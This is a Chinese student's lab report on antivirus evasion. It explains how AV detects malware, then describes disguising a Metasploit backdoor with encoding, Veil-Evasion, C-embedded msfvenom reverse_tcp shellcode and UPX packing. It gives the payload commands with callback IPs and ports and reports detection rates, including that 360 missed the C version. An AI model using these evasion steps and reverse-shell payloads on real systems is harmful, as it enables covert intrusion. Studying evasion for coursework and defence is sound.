Exp3 免杀原理与实践_4318王秀飞
Exp3 免杀原理与实践
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
- -检测特征码:
老师上课说过,每次网络传输或者其他过程,都会有包(tcp或者其他),这些包里的内容可被检测。如果其中有某一行代码含有特征码-即这段病毒程序的特定标志?我是这么理解的,就可以被查出来。这个是一个很精准的,但是存在滞后,因为病毒库要更新。 - -基于行为检测:
看这个程序或者代码是干什么的,如果是乱穿你的文件等等,那基本就是病毒。不过也不一定,有误差。 - -启发式检测类似:
这个感觉有点类似是自我学习然后发现病毒?我是这么理解的。
(2)免杀是做什么?
使恶意软件不被AV检测出来
(3)免杀的基本方法有哪些?
-
-改变特征码:
-
依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码。
-
加壳,使其无法进行逆向,比对病毒库中的特征码。
-
改变行为方式:
二、开始实验测试
1.原始版本
将上此实验产生的后门 wxf_backdoor.exe 文件直接拷贝到开启360的win主机下
直接被360逮到~~
添加信任以后放在 http://www.virscan.org/上扫描
48%的报毒率!!那些没查到的可能因为病毒太裸了吧~
接下来需要对其进行改装了
2.编码版本V1
先对后门木马编码1次,wxf-1.exe
48%的报毒率,没有任何变化????那就编码10次试试,wxf-10.exe
48%的报毒率??完全没什么用!
3.veil-evasion版本
Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion(反正我没成功,用同学电脑做的)
在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:
use python/meterpreter/rev_tcp //设置payload
set LHOST 192.30.1.193 //设置反弹连接IP
set port 4318 //设置反弹端口4318
generate //生成
4318wxf //程序名
1
该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击places的fengjia即可找到相应的文件夹:(但是被辣鸡360检测出来了)
放到网站上扫描一下:
4.C语言调用Shellcode版本
在Kali下生成一个C语言格式的shellcode数组,回连的IP为Kali的IP,端口自定。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.131 LPORT=4318 -f c(第一次做失败了,ip是130,第二次ip是131。截图是第一次的,不影响最终结果)
将shellcode字符串复制下来,然后在kaili中随便改一个文件的后缀为.c文件,打开修改这个文件为可运行。再将其转换成可执行文件.exe
将.c复制到windows中,编译运行,生成.exe文件。这时候kali用msf监听,并运行刚刚生成的.exe。成功回连。
找到exe可执行文件 wxf.exe,扫描一下
17%的报毒率,比前面的方法不知道高到哪里去了!感动!
5.C调用升级版本
加壳
压缩壳UPX
直接用upx将MSF直接生成的文件加壳。
报毒率反而上升了?这是什么情况!不太清楚!!
但是本次实验最恐怖的是!360没有扫描出来我的c语言调用Shellcode,加壳的也没???恐怖如斯!
三、离实战还缺些什么技术或步骤?
我们该如何把这个文件传给对方并持续保持运行。而且还不被发现,这是一个真正的实际问题。而且,仍然有被发现的可能,这说明并不是一个非常完美的病毒。
四、实验心得与体会
这次试验是开学到现在最恶心的实验,因为我装了一天半的veil都没有成功!最后只能用别人电脑做,这可真是,呵呵!还有这次实验让我知道了,原来我们入侵其他人的电脑是十分简单的,并不是我们想象的那么复杂,一个实际上课不到1周的人就可以做到这个地步,难以想象真正钻研的人,看我们的电脑,那简直,就是自己后花园!